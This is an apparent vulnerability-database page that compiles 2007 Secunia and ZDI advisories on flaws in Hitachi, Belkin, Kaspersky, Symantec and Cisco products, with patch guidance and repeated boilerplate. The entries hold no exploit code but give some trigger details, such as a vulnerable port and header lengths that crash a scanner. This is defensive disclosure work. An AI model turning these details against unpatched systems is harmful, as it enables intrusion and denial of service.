VARIoT IoT vulnerabilities database

Buffer overflow in Hitachi Cosminexus V4 through V7, Processing Kit for XML before 20070511, Developer's Kit for Java before 20070312, and third-party products that use this software, allows attackers to have an unknown impact via certain GIF images, related to use of GIF image processing APIs by a Java application. Multiple Hitachi products are prone to a buffer-overflow vulnerability because the applications fail to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. Given the nature of this issue, successful exploits may lead to remote code execution, but this has not been confirmed. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. The vulnerability is caused due to an boundary error within the handling of GIF files and can be exploited to cause a buffer overflow. No further information is currently available. Please see vendor advisory for affected products and versions. SOLUTION: Update to the latest versions (please see vendor advisory for details). PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: http://www.hitachi-support.com/security_e/vuls_e/HS07-018_e/index-e.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Cross-site scripting (XSS) vulnerability in the Belkin G Plus Router F5D7231-4 with firmware 4.05.03 allows remote attackers to inject arbitrary web script or HTML via a hostname of a DHCP client. The Belkin G Plus Router is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data. Exploiting this issue may allow an attacker to execute HTML and script code in the context of the device, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible. Firmware version 4.05.03 is vulnerable; other versions may also be affected. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. Input passed via the hostname when listing DHCP clients is not properly sanitised before being used. This can be exploited to execute arbitrary HTML and script code in an administrator's browser session in context of an affected interface. SOLUTION: List DHCP clients in a trusted network environment only. PROVIDED AND/OR DISCOVERED BY: Nico Leidecker, Portcullis Computer Security Ltd. ORIGINAL ADVISORY: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20070710/98374694/attachment-0033.txt ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Unspecified vulnerability in Kaspersky Anti-Virus for Check Point FireWall-1 before Critical Fix 1 (5.5.161.0) might allow attackers to cause a denial of service (kernel hang) via unspecified vectors. NOTE: it is not clear whether there is an attacker role. Kaspersky Anti-Virus 5.5 for Check Point Firewall-1 is prone to a denial-of-service vulnerability. Further details are currently unavailable. This issue affects Kaspersky Anti-Virus 5.5 for Check Point Firewall-1. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. SOLUTION: Apply Critical Fix-1 (Build 5.5.161.0). http://www.kaspersky.com/productupdates?chapter=146274607 PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: http://support.kaspersky.com/checkpoint?qid=208279464 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

The Decomposer component in multiple Symantec products allows remote attackers to cause a denial of service (infinite loop) via a certain value in the PACK_SIZE field of a RAR archive file header. This vulnerability allows attackers to create a denial of service condition on software with vulnerable installations of the Symantec's AntiVirus engine. Authentication is not required to exploit this vulnerability.The specific flaw resides in a forged PACK_SIZE field of a RAR file header. These issues include a denial-of-service vulnerability and a buffer-overflow vulnerability. Symantec AntiVirus is a very popular antivirus solution. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Symantec Products CAB and RAR Archive Handling Vulnerabilities SECUNIA ADVISORY ID: SA26053 VERIFY ADVISORY: http://secunia.com/advisories/26053/ CRITICAL: Highly critical IMPACT: DoS, System access WHERE: >From remote OPERATING SYSTEM: Symantec Gateway Security 5400 Series 2.x http://secunia.com/product/6633/ Symantec Gateway Security 5000 Series 3.x http://secunia.com/product/6648/ SOFTWARE: Symantec Web Security 3.x http://secunia.com/product/2813/ Symantec Scan Engine 5.x http://secunia.com/product/6651/ Symantec Mail Security for SMTP 5.x http://secunia.com/product/13591/ Symantec Mail Security for Microsoft Exchange 6.x http://secunia.com/product/14765/ Symantec Mail Security for Microsoft Exchange 5.x http://secunia.com/product/6650/ Symantec Mail Security for Exchange 4.x http://secunia.com/product/2820/ Symantec Mail Security for Domino 5.x http://secunia.com/product/11179/ Symantec Mail Security for Domino 4.x http://secunia.com/product/4624/ Symantec Client Security 3.x http://secunia.com/product/6649/ Symantec Client Security 2.x http://secunia.com/product/3478/ Symantec Brightmail AntiSpam 6.x http://secunia.com/product/3656/ Symantec Brightmail AntiSpam 5.x http://secunia.com/product/4628/ Symantec Brightmail AntiSpam 4.x http://secunia.com/product/4627/ Symantec AntiVirus/Filtering for Domino 3.x http://secunia.com/product/2029/ Symantec AntiVirus Scan Engine 4.x http://secunia.com/product/3040/ Symantec AntiVirus for Network Attached Storage 4.x http://secunia.com/product/4625/ Symantec AntiVirus for Macintosh 10.x http://secunia.com/product/14768/ Symantec AntiVirus Corporate Edition for Linux http://secunia.com/product/14767/ Symantec AntiVirus Corporate Edition 9.x http://secunia.com/product/3549/ Symantec AntiVirus Corporate Edition 10.x http://secunia.com/product/5555/ Symantec Norton AntiVirus 2004 http://secunia.com/product/2800/ Symantec Norton AntiVirus 2005 http://secunia.com/product/4009/ Symantec Norton AntiVirus 2006 http://secunia.com/product/6634/ Symantec Norton Internet Security 2004 http://secunia.com/product/2441/ Symantec Norton Internet Security 2004 Professional http://secunia.com/product/2442/ Symantec Norton Internet Security 2005 http://secunia.com/product/4848/ Symantec Norton Internet Security 2006 http://secunia.com/product/6635/ Symantec Norton SystemWorks 2004 http://secunia.com/product/2796/ Symantec Norton SystemWorks 2005 http://secunia.com/product/4847/ Symantec Norton SystemWorks 2006 http://secunia.com/product/6636/ Symantec Norton Personal Firewall 2006 http://secunia.com/product/6638/ Symantec Norton AntiVirus for Macintosh 9.x http://secunia.com/product/5948/ Symantec Norton AntiVirus for Macintosh 10.x http://secunia.com/product/5949/ Symantec Norton Internet Security for Macintosh 3.x http://secunia.com/product/5951/ Symantec Norton SystemWorks for Macintosh 3.x http://secunia.com/product/5952/ DESCRIPTION: Two vulnerabilities have been reported in various Symantec products, which can be exploited by malicious people to cause a DoS (Denial of Service) or potentially compromise a vulnerable system. The vulnerabilities are reported in the following products and versions: * Symantec Mail Security 8200 (all builds) * Symantec Mail Security for Microsoft Exchange versions 4.6.3 and prior, 5.0.0.204, and 6.0.0 (all builds) * Symantec Mail Security for Domino NT versions 4.1.4 and prior and 5.0.0.47 (all builds) * Symantec AntiVirus/Filtering for Domino MPE(AIX, Linux, Solaris) versions 3.0.12 and prior (all builds) * Symantec Scan Engine version 5.0.1 and prior (all builds) * Symantec AntiVirus Scan Engine versions 4.1.8 and prior and 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for MS ISA versions 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for MS Sharepoint versions 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for Messaging versions 4.3.12 and prior (all builds) * Symantec AntiVirus for Network Attached Storage versions 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for Clearswift versions 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for Caching versions 4.3.12 and prior (all builds) * Symantec Client Security versions 3.0, 3.x, and 2.x (all builds) * Symantec Web Security versions 3.0.1.76 and prior (all builds) * Symantec Gateway Security 5000 Series version 3.01 (all builds) * Symantec Gateway Security 5400 Series version 2.0.1 (all builds) * Symantec Brightmail AntiSpam versions 6.0.x, 5.5, and 4.x (all builds) * Symantec AntiVirus Corporate Edition versions 10.1, 10.0, and 9.0 (10.1.5.5000 and prior and 9.0.6.1000 and prior) * Symantec AntiVirus Corperate Edition for Linux * Symantec AntiVirus for Macintosh version 10.x (all builds) * Symantec Web Security for Microsoft ISA 2004 version 5.0 (all builds) * Symantec Mail Security for SMTP version 5.0.0 (Windows/Linux/Solaris) and 5.0.1 (all builds) * Norton AntiVirus 2004/2005/2006 * Norton Internet Security 2004/2005/2005.5 AntiSpyware Edition/2006 * Norton SystemWorks 2004/2005/2006 * Norton Personal Firewall 2006 * Norton AntiVirus for Macintosh versions 9.x and 10.x * Norton Internet Security for Macintosh version 3.x * Norton SystemWorks for Macintosh version 3.x SOLUTION: Apply updates or run LiveUpdate. Please see the vendor's advisory for details. ORIGINAL ADVISORY: Symantec: http://securityresponse.symantec.com/avcenter/security/Content/2007.07.11f.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . ZDI-07-039: Symantec AntiVirus Engine RAR File Parsing DoS Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-07-039.html July 12, 2007 -- CVE ID: CVE-2007-3699 -- Affected Vendor: Symantec -- Affected Products: Symantec AntiVirus Engine -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability since November 20, 2006 by Digital Vaccine protection filter ID 4695,4824. Authentication is not required to exploit this vulnerability. -- Vendor Response: Symantec has issued an update to correct this vulnerability. More details can be found at: http://www.symantec.com/avcenter/security/Content/2007.07.11f.html -- Disclosure Timeline: 2006.11.01 - Vulnerability reported to vendor 2006.11.20 - Digital Vaccine released to TippingPoint customers 2007.07.12 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by an anonymous researcher. -- About the Zero Day Initiative (ZDI): Established by TippingPoint, a division of 3Com, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. 3Com does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, 3Com provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, 3Com provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. CONFIDENTIALITY NOTICE: This e-mail message, including any attachments, is being sent by 3Com for the sole use of the intended recipient(s) and may contain confidential, proprietary and/or privileged information. Any unauthorized review, use, disclosure and/or distribution by any recipient is prohibited. If you are not the intended recipient, please delete and/or destroy all copies of this message regardless of form and any included attachments and notify 3Com immediately by contacting the sender via reply e-mail or forwarding to 3Com at postmaster@3com.com

Heap-based buffer overflow in the Decomposer component in multiple Symantec products allows remote attackers to execute arbitrary code via multiple crafted CAB archives. User interaction is not required to exploit this vulnerability.The specific flaw exists during the process of scanning multiple maliciously formatted CAB archives. The parsing routine implicitly trusts certain user-supplied values that can result in an exploitable heap corruption. These issues include a denial-of-service vulnerability and a buffer-overflow vulnerability. Symantec AntiVirus is a very popular antivirus solution. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Symantec Products CAB and RAR Archive Handling Vulnerabilities SECUNIA ADVISORY ID: SA26053 VERIFY ADVISORY: http://secunia.com/advisories/26053/ CRITICAL: Highly critical IMPACT: DoS, System access WHERE: >From remote OPERATING SYSTEM: Symantec Gateway Security 5400 Series 2.x http://secunia.com/product/6633/ Symantec Gateway Security 5000 Series 3.x http://secunia.com/product/6648/ SOFTWARE: Symantec Web Security 3.x http://secunia.com/product/2813/ Symantec Scan Engine 5.x http://secunia.com/product/6651/ Symantec Mail Security for SMTP 5.x http://secunia.com/product/13591/ Symantec Mail Security for Microsoft Exchange 6.x http://secunia.com/product/14765/ Symantec Mail Security for Microsoft Exchange 5.x http://secunia.com/product/6650/ Symantec Mail Security for Exchange 4.x http://secunia.com/product/2820/ Symantec Mail Security for Domino 5.x http://secunia.com/product/11179/ Symantec Mail Security for Domino 4.x http://secunia.com/product/4624/ Symantec Client Security 3.x http://secunia.com/product/6649/ Symantec Client Security 2.x http://secunia.com/product/3478/ Symantec Brightmail AntiSpam 6.x http://secunia.com/product/3656/ Symantec Brightmail AntiSpam 5.x http://secunia.com/product/4628/ Symantec Brightmail AntiSpam 4.x http://secunia.com/product/4627/ Symantec AntiVirus/Filtering for Domino 3.x http://secunia.com/product/2029/ Symantec AntiVirus Scan Engine 4.x http://secunia.com/product/3040/ Symantec AntiVirus for Network Attached Storage 4.x http://secunia.com/product/4625/ Symantec AntiVirus for Macintosh 10.x http://secunia.com/product/14768/ Symantec AntiVirus Corporate Edition for Linux http://secunia.com/product/14767/ Symantec AntiVirus Corporate Edition 9.x http://secunia.com/product/3549/ Symantec AntiVirus Corporate Edition 10.x http://secunia.com/product/5555/ Symantec Norton AntiVirus 2004 http://secunia.com/product/2800/ Symantec Norton AntiVirus 2005 http://secunia.com/product/4009/ Symantec Norton AntiVirus 2006 http://secunia.com/product/6634/ Symantec Norton Internet Security 2004 http://secunia.com/product/2441/ Symantec Norton Internet Security 2004 Professional http://secunia.com/product/2442/ Symantec Norton Internet Security 2005 http://secunia.com/product/4848/ Symantec Norton Internet Security 2006 http://secunia.com/product/6635/ Symantec Norton SystemWorks 2004 http://secunia.com/product/2796/ Symantec Norton SystemWorks 2005 http://secunia.com/product/4847/ Symantec Norton SystemWorks 2006 http://secunia.com/product/6636/ Symantec Norton Personal Firewall 2006 http://secunia.com/product/6638/ Symantec Norton AntiVirus for Macintosh 9.x http://secunia.com/product/5948/ Symantec Norton AntiVirus for Macintosh 10.x http://secunia.com/product/5949/ Symantec Norton Internet Security for Macintosh 3.x http://secunia.com/product/5951/ Symantec Norton SystemWorks for Macintosh 3.x http://secunia.com/product/5952/ DESCRIPTION: Two vulnerabilities have been reported in various Symantec products, which can be exploited by malicious people to cause a DoS (Denial of Service) or potentially compromise a vulnerable system. The vulnerabilities are reported in the following products and versions: * Symantec Mail Security 8200 (all builds) * Symantec Mail Security for Microsoft Exchange versions 4.6.3 and prior, 5.0.0.204, and 6.0.0 (all builds) * Symantec Mail Security for Domino NT versions 4.1.4 and prior and 5.0.0.47 (all builds) * Symantec AntiVirus/Filtering for Domino MPE(AIX, Linux, Solaris) versions 3.0.12 and prior (all builds) * Symantec Scan Engine version 5.0.1 and prior (all builds) * Symantec AntiVirus Scan Engine versions 4.1.8 and prior and 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for MS ISA versions 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for MS Sharepoint versions 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for Messaging versions 4.3.12 and prior (all builds) * Symantec AntiVirus for Network Attached Storage versions 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for Clearswift versions 4.3.12 and prior (all builds) * Symantec AntiVirus Scan Engine for Caching versions 4.3.12 and prior (all builds) * Symantec Client Security versions 3.0, 3.x, and 2.x (all builds) * Symantec Web Security versions 3.0.1.76 and prior (all builds) * Symantec Gateway Security 5000 Series version 3.01 (all builds) * Symantec Gateway Security 5400 Series version 2.0.1 (all builds) * Symantec Brightmail AntiSpam versions 6.0.x, 5.5, and 4.x (all builds) * Symantec AntiVirus Corporate Edition versions 10.1, 10.0, and 9.0 (10.1.5.5000 and prior and 9.0.6.1000 and prior) * Symantec AntiVirus Corperate Edition for Linux * Symantec AntiVirus for Macintosh version 10.x (all builds) * Symantec Web Security for Microsoft ISA 2004 version 5.0 (all builds) * Symantec Mail Security for SMTP version 5.0.0 (Windows/Linux/Solaris) and 5.0.1 (all builds) * Norton AntiVirus 2004/2005/2006 * Norton Internet Security 2004/2005/2005.5 AntiSpyware Edition/2006 * Norton SystemWorks 2004/2005/2006 * Norton Personal Firewall 2006 * Norton AntiVirus for Macintosh versions 9.x and 10.x * Norton Internet Security for Macintosh version 3.x * Norton SystemWorks for Macintosh version 3.x SOLUTION: Apply updates or run LiveUpdate. Please see the vendor's advisory for details. ORIGINAL ADVISORY: Symantec: http://securityresponse.symantec.com/avcenter/security/Content/2007.07.11f.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . ZDI-07-040: Symantec AntiVirus Engine CAB Parsing Heap Overflow Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-07-040.html July 12, 2007 -- CVE ID: CVE-2007-0447 -- Affected Vendor: Symantec -- Affected Products: Symantec AntiVirus Engine -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability since November 30, 2006 by Digital Vaccine protection filter ID 4875. -- Vendor Response: Symantec has issued an update to correct this vulnerability. More details can be found at: http://www.symantec.com/avcenter/security/Content/2007.07.11f.html -- Disclosure Timeline: 2006.11.09 - Vulnerability reported to vendor 2006.11.30 - Digital Vaccine released to TippingPoint customers 2007.07.12 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by an anonymous researcher. -- About the Zero Day Initiative (ZDI): Established by TippingPoint, a division of 3Com, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. 3Com does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, 3Com provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, 3Com provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. CONFIDENTIALITY NOTICE: This e-mail message, including any attachments, is being sent by 3Com for the sole use of the intended recipient(s) and may contain confidential, proprietary and/or privileged information. Any unauthorized review, use, disclosure and/or distribution by any recipient is prohibited. If you are not the intended recipient, please delete and/or destroy all copies of this message regardless of form and any included attachments and notify 3Com immediately by contacting the sender via reply e-mail or forwarding to 3Com at postmaster@3com.com

Unspecified vulnerability in the Real-time scanner (RTVScan) component in Symantec AntiVirus Corporate Edition 9.0 through 10.1 and Client Security 2.0 through 3.1, when the Notification Message window is enabled, allows local users to gain privileges via crafted code. A local attacker can exploit this issue to elevate privileges to the SYSTEM level. This could facilitate a complete compromise of the affected computer. Symantec AntiVirus is a very popular antivirus solution. There is a loophole in Symantec AntiVirus processing log display. If this feature is enabled, local non-privileged users can use this window to gain system and privileges and execute arbitrary commands in the system. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. The vulnerability is caused due to an error in the Real-Time scanner (RTVScan) component when displaying a notification window containing information on threats found on a system. This can be exploited to execute arbitrary code with SYSTEM privileges. http://www.symantec.com/enterprise/support/all_products.jsp Symantec AntiVirus Corporate Edition 9.0: SAV 9.0.6 MR6 MP1- build 1100 or later Symantec AntiVirus Corporate Edition 10.0/10.1: 10.1.4 MR4 MP1- build 4010 or later Symantec Client Security 2.0: SCS 2.0.6 MR6 MP1 - build 1100 or later Symantec Client Security 3.0/3.1: SCS 3.1.4 MR4 MP1 - build 4010 or later PROVIDED AND/OR DISCOVERED BY: The vendor credits Ali Rhabar, Sysdream. ORIGINAL ADVISORY: Symantec: http://securityresponse.symantec.com/avcenter/security/Content/2007.07.11c.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Integer overflow in the Real-Time Information Server (RIS) Data Collector service (RisDC.exe) in Cisco Unified Communications Manager (CUCM, formerly CallManager) before 20070711 allow remote attackers to execute arbitrary code via crafted packets, resulting in a heap-based buffer overflow. An attacker can exploit these issues to execute arbitrary code within the context of the vulnerable application. Successful exploits may result in a complete compromise of affected servers. Failed exploit attempts will likely result in denial-of-service conditions. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Cisco Unified Communications Manager Two Vulnerabilities SECUNIA ADVISORY ID: SA26043 VERIFY ADVISORY: http://secunia.com/advisories/26043/ CRITICAL: Moderately critical IMPACT: DoS, System access WHERE: >From local network SOFTWARE: Cisco Unified CallManager 5.x http://secunia.com/product/12535/ Cisco Unified CallManager 4.x http://secunia.com/product/12534/ Cisco Unified CallManager 3.x http://secunia.com/product/2805/ Cisco Unified Communications Manager 5.x http://secunia.com/product/11019/ Cisco Unified Communications Manager 4.x http://secunia.com/product/5363/ DESCRIPTION: Some vulnerabilities have been reported in Cisco Unified Communications Manager (CUCM), which can be exploited by malicious people to cause a DoS (Denial of Service) or potentially compromise a vulnerable system. 1) An off-by-one error in the Certificate Trust List Provider service (CTLProvider.exe) can be exploited to cause a heap-based buffer overflow by sending specially crafted packets to the vulnerable service (default port 2444/TCP). Note: This vulnerability does not affect CUCM 3.x. Successful exploitation may allow execution of arbitrary code. SOLUTION: Apply updated versions: Vulnerability #1 is corrected in CUCM versions 4.1(3)SR5, 4.2(3)SR2, 4.3(1)SR1 and 5.1(2). Vulnerability #2 is corrected in CUCM versions 3.3(5)SR2b, 4.1(3)SR5, 4.2(3)SR2, 4.3(1)SR1 and 5.1(2). See vendor advisory for a detailed patch matrix. PROVIDED AND/OR DISCOVERED BY: IBM Internet Security Systems X-Force ORIGINAL ADVISORY: Cisco: http://www.cisco.com/warp/public/707/cisco-sa-20070711-cucm.shtml IBM Internet Security Systems: 1) http://www.iss.net/threats/270.html 2) http://www.iss.net/threats/271.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Stack-based buffer overflow in the Internet E-mail Auto-Protect feature in Symantec AntiVirus Corporate Edition before 10.1, and Client Security before 3.1, allows local users to cause a denial of service (service crash) via a long (1) To, (2) From, or (3) Subject header in an outbound SMTP e-mail message. NOTE: the original vendor advisory referenced CVE-2006-3456, but this was an error. This issue occurs because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. An attacker can exploit this issue to cause denial-of-service conditions. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. The vulnerability is caused due to an error within the Internet Email Auto-Protect feature when scanning outgoing email messages. This can be exploited to cause a stack overflow via an email message containing an overly long (greater than 951 characters) string in the "To:", "From:", or "Subject" fields. Successful exploitation crashes the Internet E-mail real-time protection service and results in subsequent outgoing SMTP email messages not being scanned. ORIGINAL ADVISORY: Symantec: http://securityresponse.symantec.com/avcenter/security/Content/2007.07.11b.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Unspecified vulnerability in Cisco Unified Communications Manager (CUCM, formerly CallManager) and Unified Presence Server (CUPS) allows remote attackers to cause a denial of service (loss of cluster services) via unspecified vectors, aka (1) CSCsj09859 and (2) CSCsj19985. To exploit this issue, an attacker must have administrative access. Attackers may exploit these issues to gain access to sensitive information or to cause denial-of-service conditions. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. The vulnerabilities are caused due to unspecified errors and can be exploited by an unauthorized administrator to e.g. activate and terminate system services or to view SNMP configuration information in a CUCM/CUPS cluster environment. CUCM 5.0/5.1: Update to CUCM 5.1(2a) - http://www.cisco.com/pcgi-bin/tablebuild.pl/callmgr-51?psrtdcat20e2 CUPS 1.0: Upgrade to CUPS 6.0(1) - http://www.cisco.com/pcgi-bin/tablebuild.pl/cups-60?psrtdcat20e2 Version 1.0 is reportedly discontinued. The vendor recommends users to upgrade to version 6. PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: http://www.cisco.com/warp/public/707/cisco-sa-20070711-voip.shtml ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

